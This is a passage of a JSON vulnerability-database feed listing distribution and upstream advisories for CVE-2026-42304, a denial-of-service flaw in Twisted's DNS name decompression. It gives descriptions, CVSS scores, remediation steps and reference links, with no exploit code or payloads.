existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati","status":"published","published":"2026-05-05T21:12:37Z","modified":"2026-09-10T03:51:05.782425234Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T15:46:48.191583Z"},{"id":"OESA-2026-2367","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nA denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor\u0026apos;s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)","status":"published","published":"2026-05-22T11:11:19Z","modified":"2026-08-18T01:19:57.847127295Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.449097Z"},{"id":"OESA-2026-2368","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nA denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor\u0026apos;s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)","status":"published","published":"2026-05-22T11:11:19Z","modified":"2026-08-18T01:19:57.855779796Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.449097Z"},{"id":"OESA-2026-2369","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nA denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor\u0026apos;s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)","status":"published","published":"2026-05-22T11:11:19Z","modified":"2026-08-18T01:19:58.024036126Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.449097Z"},{"id":"OESA-2026-2370","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nA denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor\u0026apos;s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)","status":"published","published":"2026-05-22T11:11:20Z","modified":"2026-08-18T01:19:57.898769883Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.449097Z"},{"id":"OESA-2026-2488","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nA denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor\u0026apos;s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)","status":"published","published":"2026-05-29T11:11:26Z","modified":"2026-08-18T01:20:01.053208385Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.449097Z"},{"id":"PYSEC-2026-160","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T21:16:46.933Z","modified":"2026-05-20T12:35:31.546681Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"UBUNTU-CVE-2026-42304","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T21:16:00Z","modified":"2026-06-03T22:08:11.045686636Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"AZL-86751","title":"CVE-2026-42304 affecting package python-twisted for versions less than 22.10.0-5","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T21:16:46Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:25.190302Z"},{"id":"CLSA-2026-1786360302","title":"TuxCare security update for twisted (3 CVEs)","description":"TuxCare rebuilt twisted to address 3 CVEs. Fixed in 20.3.0.post5+tuxcare.","status":"published","published":"2026-08-10T11:11:42Z","modified":"2026-10-15T09:48:05.427823513Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"openSUSE-SU-2026:10759-1","title":"python-Twisted-doc-26.4.0-1.1 on GA media","description":"These are all security issues fixed in the python-Twisted-doc-26.4.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-05-12T00:00:00Z","modified":"2026-05-13T07:45:49.511451Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:20862-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issue\n\n- CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via\n  resource exhaustion during DNS name decompression (bsc#1265265).\n","status":"published","published":"2026-06-01T08:22:29Z","modified":"2026-06-04T18:24:09.834091509Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:22004-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issue\n\n- CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via\n  resource exhaustion during DNS name decompression (bsc#1265265).\n","status":"published","published":"2026-06-01T08:24:17Z","modified":"2026-06-09T18:24:19.270603849Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:2218-1","title":"Security update for python3-Twisted","description":"This update for python3-Twisted fixes the following issue\n\n- CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via\n  resource exhaustion during DNS name decompression (bsc#1265265).\n","status":"published","published":"2026-06-02T06:00:46Z","modified":"2026-06-03T08:30:23.229609889Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:2219-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issue\n\n- CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via\n  resource exhaustion during DNS name decompression (bsc#1265265).\n","status":"published","published":"2026-06-02T06:02:08Z","modified":"2026-06-03T08:30:23.202245779Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"USN-8380-1","title":"twisted vulnerability","description":"It was discovered that Twisted incorrectly handled DNS name decompression.\nA remote attacker could possibly use this issue to cause Twisted to consume\nexcessive resources, leading to a denial of service.","status":"published","published":"2026-06-03T13:59:16Z","modified":"2026-06-03T22:18:10.339252311Z","updated_at":"2026-11-02T16:58:25.103481Z"}]}}
